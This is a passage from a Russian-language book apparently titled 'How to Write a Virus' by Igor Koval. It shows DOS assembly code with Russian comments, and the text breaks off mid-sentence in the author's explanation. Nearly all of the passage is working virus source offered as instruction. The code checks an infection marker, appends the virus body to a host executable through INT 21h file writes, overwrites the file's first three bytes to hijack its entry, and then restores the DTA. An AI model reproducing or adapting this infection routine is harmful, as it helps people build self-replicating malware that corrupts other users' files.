"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

cmp last,'1' ;Индикатор зара-
jne cs:write_vir ;жения ...
jmp cs:find_next

write_vir: mov ax,4200h ;Запишем начало
xor cx,cx ;вируса ...
mov dx,di
int 21h
jc cs:close

mov ah,40h
mov cx,2
lea dx,end_file
int 21h
jc cs:close
;И остальную
mov ah,40h ;часть ...
mov cx,vir_len - 2
lea dx,vir + 2
int 21h
jc cs:close

write_bytes: ;Запишем первые
mov ax,4200h ;три байта
xor cx,cx
xor dx,dx
int 21h
jc cs:close

mov ah,40h
mov cx,3
lea dx,new_bytes
int 21h

close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл

restore_dta:
mov cx,80h ;Восстановим DTA
lea si,dta_save
mov di,bp
dta_fresh:
mov al,[si]
mov byte ptr es:[di],al
inc si
inc di
loop cs:dta_fresh

Как видите, в созданный ранее фрагмент были внесе-
ны некоторые изменения, в которых мы сейчас и раз-